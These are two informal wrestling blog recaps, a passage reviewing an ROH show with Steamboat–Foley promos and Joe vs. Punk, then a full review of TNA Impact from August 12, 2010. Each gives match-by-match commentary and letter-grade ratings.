Dust is part of a team called Special K which I believe was a bunch of drug addicts. This is a fast paced match but Dust loses a headlock for a second on Sydal in a bit of a botch. Acid sends Sydal (who I might call Bourne) to the floor and it’s off to Daniels. I think if you go to the floor it’s the same as a tag. Daniels sets for a dive but runs into a forearm from Acid. Dust tries a huge moonsault to the floor but misses everything.

The announcers have no idea who is legal here. Everyone is back in now and it’s a big brawl still. A Blue Thunder Bomb gets two for Acid. I think it’s Daniels vs. Acid who are legal but Dust tags himself in. Daniels is like cool man and fires off some kicks. Sydal comes in out of nowhere and tries a shooting star but lands on his feet. Everything breaks down and Acid hits a reverse inverted DDT on Sydal but Daniels hits a German on Dust and they’re legal so Daniels gets the win.

Rating: C. Fun match but it was totally insane. The fans liked Acid the best and were MAD when he lost. Still though, this one got too insane and it was hard to tell what was going on at all by the end of it. That can get very annoying and it did so here. Not a horrible match or anything but it was too big of a mess to make much sense.

Chad Collyer/Nigel McGuinnes vs. BJ Whitmer/Dan Maff

Collyer/Nigel have Ricky Steamboat with them while Whitmer/Maff have Mick Foley. It’s the whole wrestling vs. hardcore jazz. Steamboat and Foley started to hook up in WCW but I guess they figured that one of the best heels vs. one of the best faces would make too much sense and therefore money so they bailed on it immediately. Steamboat asks the four wrestlers to get on the floor because he wants to talk to Foley.

The audio here is AWFUL and I had no idea what Steamboat was talking about for part of it. Ok now I can a bit. The fans are saying speak up. Last night Foley issued a challenge for this tag match and Steamboat says it’s not about skill but it’s about the style the guys use. Steamboat calls it garbage wrestling because you use things like garbage cans in it. “In fact Mick I got an e-mail today from the Chicago sanitation department that says when your next novel fails they have a job for you cleaning up the garbage.” BURN.

Foley gets on the mic and makes fun of Steamboat for being too serious and not an entertaining talker. Foley talks about Steamboat winning the title in 1989 right here in Chicago from Ric Flair (Chi-Town Rumble, well worth checking out). Steamboat may be the greatest pure wrestler of all time. I’m not sure “may be” is needed here. However, saying someone is the greatest pure wrestler of all time “is like saying someone is the greatest softcore adult actor of all time.”

Foley defends hardcore wrestling because it’s about toughness and giving it all you have. He wants to know how long Steamboat plans to ride Flair’s coattails (even though Flair is a washed up loser). The fans are split here. Steamboat comes back with I know Flair, I’ve worked with Flair and you Mick Foley are no Ric Flair. Foley blasts Flair, saying he has a banana nose, orange teeth and looks like Barbara Bush in drag.

Steamboat says those were funny when Funk said them 20 years ago. Foley comes up with some new ones, like Flair says the same things time after time and carries Batista’s bags and sucked up to HHH. Oh and Flair has botox. This is HILARIOUS. Here’s the real burn: “I’m no Ric Flair because I knew when my time was done, I stepped aside for the sake of younger guys.” Bear in mind that about three and a half years later Foley won the TNA World Title, although TNA was still pretty awesome at this point.

Oh hey we have a match to get to. Everyone shakes hands pre match. Ok so it’s Nigel vs. Whitmer to get us going. We go over who has the best trainer in this and Maff is kind of left out in the cold. This is under pure rules, which is an overly complicated system that means you have a limited amount of rope breaks and no punches. Off to Maff as the pure guys are dominating with a lot of arm drags in a nice touch. And here are the Carnage Crew to jump Foley and a brawl breaks out. Not long enough to grade but it was pretty basic up to this point.

Steamboat goes off on the Carnage Crew for ruining the match and even calls them a bunch of dickheads. Announcer: “STEAMBOAT SAID DICKHEADS!!!!!”

Ok so now the match is starting again but it’s under hardcore rules. Well sure why not? It’s a bit brawl to start and once they’re on the floor Foley drills McGuinness with the mic. They’re into the crowd already. The Crew is gone. Maff cracks a water bottle over the head of Collyer and McGuinness gets taken down by a chair. Ok so now we’re into the ring and there are a few chairs involved. This is a total brawl and Steamboat is back now. Ok he wants it to be pure wrestling again. McGuinness gets all technical and such and gets a slick rollup on Whitmer for the pin.

Rating: C+. That’s for the whole thing. Steamboat and Foley were by far the best things about this but I don’t think that surprises anyone. The idea of mixing both styles was interesting but it needed more than it had here. The main conclusion I can draw from this though: MAN WCW was stupid for not following up on Steamboat vs. Foley in 92.

Steamboat rubs in the win post match.

Acid yells at Dave Prazak because he had a pin and says he feels like an outcast here.

TJ Dalton/Davey Andrews vs. Caranage Crew

Nice to see them following up on the angle from earlier in the show. The non-regular tag team takes over early with some nice double team stuff. And never mind as Dalton gets caught in a Doomsday Device as we finally get into a regular match. The Crew settles into rhythm and beats the tar out of Dalton. Andrews comes in and fights back. He’s one of the first graduates of the ROH Wrestling Academy. Not that it matters as the Crew hits a bunch of violent double team moves, finally killing Andrews with a double team middle rope piledriver. Total squash.

Rottweilers vs. Generation Next

This is heel vs. heel. It’s a big brawl to start which leaves us with Homicide vs. Evans and you know Evans is going to start diving. Romero and Stong have a fast sequence in the ring and everything breaks down quickly. Ok so now we’re into an actual tag match, in this case Strong vs. Romero. Romero is half of the tag champions but his partner (Ricky Reyes) isn’t here tonight.

Strong finally shoves Homicide into the corner and brings in Evans to a moderate pop. Generation Next (I keep wanting to say Gen Me) double teams a lot and gets two off a double team splash in the corner. Middle rope elbow gets two for Strong. Strong Hold (Boston Crab) goes on but Strong walks to the corner on his own for some reason. Weird.

Homicide grabs a DDT on Evans to take over and bring Romero back in. Camel clutch goes on but Strong comes in and chops the back of Romero’s neck HARD. See that’s how you break something up: in a surprise and with something other than a weak stomp. The Rottweilers keep hammering away and Evans is such a tiny man that it works more effectively than it normally would.

An Alabama Slam into a slingshot into a backbreaker into a double stomp (there was some double teaming in there too) has Evans in trouble. A reverse double gorilla press sends him flying over the top and onto Strong. Evans finally avoids a swan dive and makes the tag to bring in Strong. Here’s some double teaming with flips but since this is an indy company the selling lasts all of 8 seconds.

A Steiner Bulldog gets no cover for the dog enthusiasts. Evans comes in via a springboard kick where the springboard and spinning weren’t needed at all. Everything breaks down and Homicide hits a piledriver for no cover on Strong. Homicide kills (get it?) Evans but he’s not legal. This is one of those matches where there’s too much going on to keep track of. A top rope splash gets two on Strong. Strong fights back and takes out both Rottweilers with a Razor’s Edge into a Diamond Cutter which lets Evans hit a 630 for the pin.

Rating: C+. Fun stuff here and Generation Next would become a huge force in the company in the next year or so with Aries winning the title soon after this, I think in December. I’m not a fan of this style as the lack of a story and the total lack of selling hurts it a lot. Either way, I like Strong and him being on the winning team helps somewhat. Not exactly bad but I couldn’t get into it.

The Rottweilers want to shake hands post match and yeah they beat up Generation Next because they’re idiots. Romero grants them a title shot post match.

Jimmy Jacobs vs. Alex Shelley

This is an I Quit match. Oh and for all the people that said Ryder was original for the one long leg and one short leg in the tights, Jacobs has him beaten here by about 3 years. They slug it out and then head to the floor quickly with Jacobs hitting a rana off the apron. Shelley tries to throw him back in and takes another rana for his efforts. Jacobs chokes Shelley with a chair but takes a spinning downward spiral into the barricade instead.

Shelley takes over and works over the neck of Jacobs because….well I guess he has to work on something. Oh ok these two are former partners. See how easy it is to explain that? “Jacobs has frustrated Shelley ever since this team split up.” See it’s not hard. Back in the ring now and it’s almost all Alex. Jacobs manages a clothesline and Shelley’s head is rammed into the chair on the mat. That looked good. Or bad. I wonder which one it is.

Jacobs pulls a spike out of his boot which would become one of his trademarks later in his career. Shelley gets it away and rams it upside Jacobs head. “That thing has got to be 12 inches long!” That’s what she said? Now the spike is driven into Jacobs’ head and he’s busted. A tombstone onto a chair half kills Jacobs but he won’t quit. Here’s a kendo stick which always makes me think of the things they put newspapers on at the library.

Shelley uses duct tape and ties Jacobs to the top rope with his back exposed. LET THE BONDAGE AND TORTURE PLAY BEGIN!!! Jacobs gets a low blow in and gets his feet up to his hands where he pulls another spike out to cut himself free. Announcer: “How many spikes can you have in a pair of furry boots?” Jacobs gets the stick and wears Shelley out with it and chokes away. A senton misses and Shelley beats him back and forth with the spike and stick.

Off to something like half of a Regal Stretch minus the leg trap and Jacobs is out cold. His hand only drops twice though and Jacobs fights out again. Something like a Killswitch puts Shelley down but Jacobs is spent. The senton (the backsplash, not the bomb) hits this time and he wears Shelley out with the stick and puts the same hold on Shelley. Jacobs takes forever to set up a pair of chairs with a third bridged over it. And of course he winds up going through it himself in a brainbuster and then back to the Stretch. Jacobs shouts he’s better than Shelley but gives up.

Rating: B. Pretty good and violent match here. When these kind of matches are on they can be very on and this one worked pretty well. Shelley is a guy that can be interesting when you let him do something other than being half of the Machineguns. Jacobs would become a very interesting character who was mentally tortured by a lot of things. Cool match here.

Shelley goes off on Jacobs post match and Strong comes in to help with the beatdown. Steamboat comes out for the save. The Carnage Crew comes out and beats Steamboat down but finally Maff/Whitmer/Foley come out for the save.

ROH World Title: Samoa Joe vs. CM Punk

Punk is blonde here. The fans are split as Joe is the most popular guy in the company but it’s Punk’s hometown. They shake hands and here we go. It’s weird to see Joe using power moves. The idea is that Joe proved he could go long distances and now Punk needs another idea to fight Joe. Feeling out process to start with not much of note going on so far. They go into the corner and Joe breaks clean to tick off the crowd.

Joe hooks a hammerlock and into an armbar. Punk takes him to the corner and it’s another clean break, almost shocking everyone. Punk cartwheels out of a wristlock and Joe is like boy please and takes him down into a camel clutch. Man and he cranks on that thing. He’s channeling his inner humbler. Punk rolls out into a headlock which he used a lot in the first match. They have a ton of time to work with here so this is fine.

In a nice looking move, Joe has Punk in a Pedigree position but they’re on the mat and it’s a submission hold. I like the plug from the commentator as he talks about the shopping site where there are DVDs and all that jazz. That’s all normal and fine but at the end of it he says “Ok we got that out of the way. It’s important but I want to get back to the match.” I don’t know why but I found that really refreshing.

This has been almost all on the mat or in a technical style and I’m digging it. Punk has used a bunch of headlocks here but the idea is he used that in the first match to wear Joe down and had success with it. That’s some higher level psychology and the announcers did their part by explaining it in like two sentences. See it’s not hard. Even a belly to back suplex can’t get the hold broken.

They exchange shoulder blocks and Punk is getting fired up. We hit the strikes and Punk speeds things WAY up, grabbing a rollup and Joe bails for a bit which stuns the announcers. Back to the mat game and man are they fast down there. After Punk chills for a bit on the floor he tries a test of strength because….uh…..why would you try that against Joe? They fire off chops in the corner and while it’s not exactly Flair vs. Steamboat it’s not bad.

They go to the corner now and Punk walks the ropes to start in on the arm. Joe’s arm gets worked on for a long while and now it’s back to the headlock. This has been going on about half an hour now and it’s pretty solid stuff, almost like a chess match. Out to the floor and of course Punk is in over his head out there. Joe is a big power brawler to go with his submission stuff here so he was really more like Benoit actually.

Over to the corner and Joe fires off some face washes but Punk avoids the running boot. Now Punk washes Joe’s face in the other corner. Nice little touch there. Foley is watching from the crowd. Thankfully they don’t cut to him and miss part of the match. A driving knee from the top (knee on the back of Joe’s head and Punk drove him down) gets two. Joe grabs a very modified STF out of nowhere and DANG. They were up on their knees but then Joe bent him back so that Punk was laying on his back but his legs were underneath him. FREAKING OW MAN!!!

Punk goes up but Joe just walks away like only he does. I love that realism thing. Delayed vertical suplex (about twenty seconds) gets two for Joe. Punk goes for the arm but Joe cuts the knees out and hooks a Boston Crab. Joe fires off a bunch of kicks to the head but Punk fires off some forearms. Joe is like whatever and pops him in the face for two. This time Joe gets the Facewashes and the running boot.

Punk finally gets a boot up in the corner and then a rana to the floor. A suicide dive puts both guys down and Punk gets control back. Punk, ever the jerk, hits Joe’s Ole Kick on the floor. He tries another rana off the apron but Joe catches him in a powerbomb position and spins Punk around into the barricade. Now Joe fires off the Ole but Punk blocks. They slug it out on the floor and this time the Ole hits.

After a quick skirmish in the ring they go back to the floor…..and the announcers walk off. They say they want to watch it as fans and say the match speaks for itself. Joe gets a DDT onto the apron and I’m assuming the fanboy announcers are pleased with that. Were they paying them by the hour and run out of money or something? Back in and a spear gets a very fast two.

We’re at 45 minutes. A top rope splash misses for the fat man and they do the slugging it out from their knees spot. A snap powerslam gets two for Joe and it’s off to a cross armbreaker. Punk just can’t get away from that, even today. A big boot gets two for Punk. There’s someone at ringside but since the announcers ran out for guacamole and gram crackers, we’re on our own as to who he is.

Punk gets a tornado DDT and the Anaconda Vice which he lets go for no apparent reason. Joe takes over with a clothesline and follows it up with a pair of busters (gut and brain) for two each. Joe does his powerbomb into a crab into the STF into the crossface sequence. Sunset flip gets two for Punk as does a kick to the head. They do the whole exchange submission finishers and Punk winds up putting the Clutch on Joe.

That gets him nowhere and a double clothesline puts them both down. Two Pepsi Plunges are blocked into a superplex by Joe for a delayed two. Joe sets for the MuscleBuster but Punk goes insane pounding on Joe’s back to break it up. Another Plunge is attempted but Joe counters into the MuscleBuster….and that’s the time limit as Punk is out cold. Uh…shouldn’t the match end with Joe out cold and Punk needing 5 more seconds to win the title?

Rating: B. It’s good, but the feeling I got here was “we have to have a classic”, not “this was a classic”. The first 15 minutes of this were all about the headlock and wearing Joe down and all that jazz, but it never went anywhere after that. The last half an hour or so didn’t really have much drama for my taste.

The problem was they were going for regular moves instead of trying to finish. The problem with that is that you have Joe and Punk who have already gone an hour before and you know that’s not going to finish either guy. This was reminiscent of Hart vs. Michaels, where a lot could have been condensed and the match would have improved a lot. It’s still good, but it’s not the epic classic that it’s supposed to be.

They shake hands post match.

Punk is sure he can beat Joe but he’s not sure if Joe can beat him. Punk wants a no time limit match. That match would happen and Joe would win.

Joe says that was your second and last chance. The job was to beat him, not survive him. He’s right.

Overall Rating: B-. The show is good but other than the last two matches there’s not much to see here from a wrestling standpoint. Steamboat and Foley are great and the Flair jokes are hilarious. I know someone is going to rip me for the Joe vs. Punk stuff and I have a feeling I know who it’s going to be. It’s good, but it’s not the classic it’s said to be and I’m sure the ROH bots are going to explain to me why I don’t get it and I don’t know real wrestling. Let’s get it over with.

 

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Impact
Date: August 12, 2010
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz
Episode Title: The Whole F’N Show

This is the PPV caliber show, since they NEVER have PPV style matches on TV. Nope, not TNA. I guess this is supposed to be like their Clash of the Champions or whatever. The ratings here should be most interesting. Hopefully there are no ECW guys tonight and remember: NO TALKING ALL NIGHT. Any bets on that one?

AJ Styles vs. Kurt Angle

If Angle loses he retires. AJ has a tattoo on his side which looks weird but it has his initials and his kids’ birthdays so I can live with that. Angle gets a SWEET suplex on the floor. This is non-title which just about gives away the ending as well as you could want it to. AJ is freaking awesome to watch, which is what irritates me about the whole Flair tribute thing. There’s no need to add that in with his great stuff.

AJ does all of his usual stuff but can’t get the pin. He hits the forearm and the Pele but none of them work. This isn’t Angle’s usual formula yet but of course it’s good given who is out there. AJ avoids the running belly to belly but Angle hits a middle rope moonsault press which was NICE.

Ankle lock goes on and from that angle Kurt looks FAT! AJ misses his moonsault DDT thing which he hasn’t busted out in years but the recovery was fine. Angle Slam gets two as this is a very fast paced match. Angle blocks the low blow into the ankle lock with the grapevine for the tap. Nice match but they needed more time, as in like twice the time.

Rating: B. Solid match here but with more time, as in like ten more minutes, this could have been a classic. They were WORKING out there though and everything flowed quite well. These two have mad chemistry together and it’s clear why they get put on TV so often. I can live with the TV Champion losing, but I still see little reason to not make this a title match since the career thing is only for the top ten guys.

Knockouts Title: Angelina Love vs. Madison Rayne

Now, can we break the streak of title changes without an actual pin? How are we supposed to take this division seriously with the commentary the way it is? Naturally a lot of the moves from Madison are shall we say suggestive? And make sure you get the back shots. Love kills her with a bunch of stuff and here’s the motorcycle chick.

The crowd chants Tara as they know what’s coming. Skye pops up from behind and DRILLS her with a chair. The helmet comes off and she’s wearing a mask underneath. It comes half off but all we see is a mouth. Back in the ring Lights Out ends this and Love is a five time champion.

Rating: D. Crap match but did you expect anything else? Love looked like Mr. Perfect with the outfit and that was more or less the high point. This whole biker thing is going on to not make it look like Tara just returned a week later which is stupid since clearly the crowd knows who she is. This was a really short match but it did the job….whatever that was supposed to be.

Mr. Anderson vs. D’Angelo Dinero vs. Matt Morgan

Anderson is the only one to get a TV intro. The faces go after Morgan which doesn’t work at all naturally as they wind up fighting over it. The rankings will be announced next week due to….something. Anderson with a Thesz Press as Morgan sits on the floor and lets them fight, which isn’t a bad idea at all. Mic Check to Dinero and Morgan slides in for the save and to steal the pin. I’m not sure if this was longer than the women’s match or not.

Rating: D+. Better than the previous one but more disappointing at the same time. This has been built up for weeks and technically months and it gets four minutes? This could have been much better than it came off as which is never a good sign. It’s ok but it’s just ok, which is never a good thing given what they could have likely done with more time. Imagine that: TNA needing more time for their wrestling.

Jeff Hardy vs. ???

I’ve heard that this is supposed to be a debut and that this isn’t a debut. If it’s a debut, the common guess would be Helms, which would be somewhat exciting. And it’s Shannon Moore.

Jeff Hardy vs. Shannon Moore

When will wrestling companies get that no one cares about Moore? Why does this guy keep getting a job? They’re brothers apparently, or at least that’s what Shannon says. No reason why but whatever. We’re told they’re friends which is news to about 90% of the wrestling audience but whatever. Jeff keeps running into the corners after Shannon and ramming into the buckle like an idiot in a bad comedy movie.

Moore dominates for the most part until Hardy realizes he’s a three time world champion and Shannon Moore is Shannon Moore. A name change might help him a lot actually. Twist of Fate sets up the Swanton into the knees. Shannon gets shoved off the ropes and lands in perfect position for the Swanton and the pin.

Rating: C. Better than I expected here, but again I ask: Shannon Moore? Is that the best they can come up with? Wrestling companies have tried to push this guy for years and it hasn’t worked so why do they keep trying it? This didn’t work back in the days of the WWF and it’s not working here. Anyway, this was an ok match but really nothing special at all. And remember, this is PPV quality baby!

Tag Titles: Beer Money vs. Motor City Machine Guns

This is 2/3 falls. I’ll give TNA this: when they find something that works, they RUN with it. Shelley and Roode start us off and the crowd is WAY behind Shelley. The Guns do their usual insane speed stuff which is always cool looking. Roode does the old classic heel tactic of slapping his hands to convince the ref that there was a tag. It doesn’t work but it’s always awesome.

Sabin breaks through the endless domination of the heels as the fans are just getting irritating. NICE (I think) double team spot from the Guns as we get a downward spiral combined with a DDT and a missile dropkick. Roode takes Sabin’s head off with a big boot and the Guns clear the ring. Back in the ring a Backstabber sets up DWI on Shelley to make it 1-0 Beer Money.

Never a fan of challengers getting clean pins in the first fall of a 2/3 match. It makes the champions look like they lost completely clean. Nice double dropkick by Sabin to clean house again. The splash/neckbreaker ties it up after about two minutes. That move needs a name.

Roode does a HUGE dive over the ropes which they screw up by changing the camera at the last second. After a break it’s more even fighting. This has been a great match. Sabin hits a springboard DDT on Roode which I loved. Granted that might be because the DDT is my favorite move. Both teams hit a sweet double team sequence.

Sliced Bread #2 is countered as is DWI. Last Call superkick ends Roode and the double team combo DOESN’T get the pin on Storm. I would have bet on that ending it. Another one does in fact end it though, which is a bit anticlimactic but still, GREAT match here, although just a step behind the initial win at the PPV. Still though, great match.

Rating: A. This was indeed a great match but it makes me wonder where they’re going to go now that these two have fought so many times now. This is more about a back and forth insanity pitch rather than psychology or storytelling and that’s fine a lot of the time, especially in tags. This was very entertaining and the false finish was great for drama. These two teams have insane chemistry and this was no exception at all. Great match and well worth finding, although most of their matches are.

TNA World Title: Abyss vs. Rob Van Dam

Janice, the board with nails in it, is above the ring and can be used as a weapon, which of course it won’t be. You win by pinfall. Eric Bischoff is the referee for no apparent reason. I mean that literally: no one can come up with a reason for him to be out there. Abyss goes up the ladder as RVD is coming to the ring but gets caught. That was very smart.

Rolling Thunder misses and RVD hits the ladder. After a break Abyss misses a chokeslam onto the ladder. They do the run up the ladder as a ramp spot which is ok. This is about 5 minutes into it not counting the commercial and it’s 10:33. This is going to be a long match or the announcement is going to take forever.

This is a pretty standard ladder based match but it’s not bad. The pinfall being the way to win makes Abyss a much bigger threat here which is very smart thinking. There are the thumbtacks of course since those are perfectly normal in a match like this. Let’s pour some glass on top of that too. Abyss of course lands on them since he has the shirt on which telegraphs it completely. His leg landed on them but whatever.

Barbed wire board is brought in and of course Van Dam puts Abyss into it plus a few more spots which look cool if nothing else. Van Dam gets his hand on the board and they botch a spot as he gets shoved off and BANGS HIS FACE on a ladder that is set up like a bridge between the ring and the barrier. Holy crap that looked terrible. Abyss gets the board.

Naturally he puts it down to punch RVD a bit. For like the third time it gets stuck in the buckle. RVD looks ok and at least his face is still in one piece. He gets some chair shots in and then the Van Terminator into the barbed wire board into Abyss and the Five Star eventually gets the pin. Solid fun match but again I ask: WHY WAS BISCHOFF THE REFEREE?

Rating: B. Solid hardcore style match. The nail board of course meant nothing at all as you would expect. This was a fun main event, although I really wonder where they’re going with Van Dam now as he’s beaten EVERYONE now. I get that they wanted to make him dominant, but the smart move here was to put the title on Abyss, which they passed on so there we are.

Hogan comes down and we go to a break. RVD is still here and Hogan talks, since there can’t be any talking right? Hogan declares that TNA is the top wrestling company in the world and that Hardcore Justice set the bar. He brings out the ECW guys, or at least the main ones. Even Sabu is here.

Hogan says he gives them the ring in a show of respect. There are like 10 or more guys in there. Dreamer is the mouthpiece and thanks everyone. RVD kisses him on the cheek and the lights go out. And here’s Fourtune plus Williams and Morgan. Raven and Sandman come out to even the odds as it’s a massive beatdown.

Abyss comes back and beats up Van Dam some more. Flair comes out as the fans cheer this. In the back Van Dam is covered in blood and Abyss holds up Janice. Flair yells at Dixie, saying she caused this, as we end it.

Overall Rating: A. This was a GREAT show. Everything hit on almost all cylinders although the Hardy/Moore match and the triple threat left a bit to be desired. This was a very fun show though and I had a good time watching it. I’m skeptical about how it’s going to go after this week though as they’re banking everything on this one big angle and if it doesn’t work, they’re in trouble. We’ll see though, and we get a good show here so that’s a success if nothing else. Worth seeing for sure.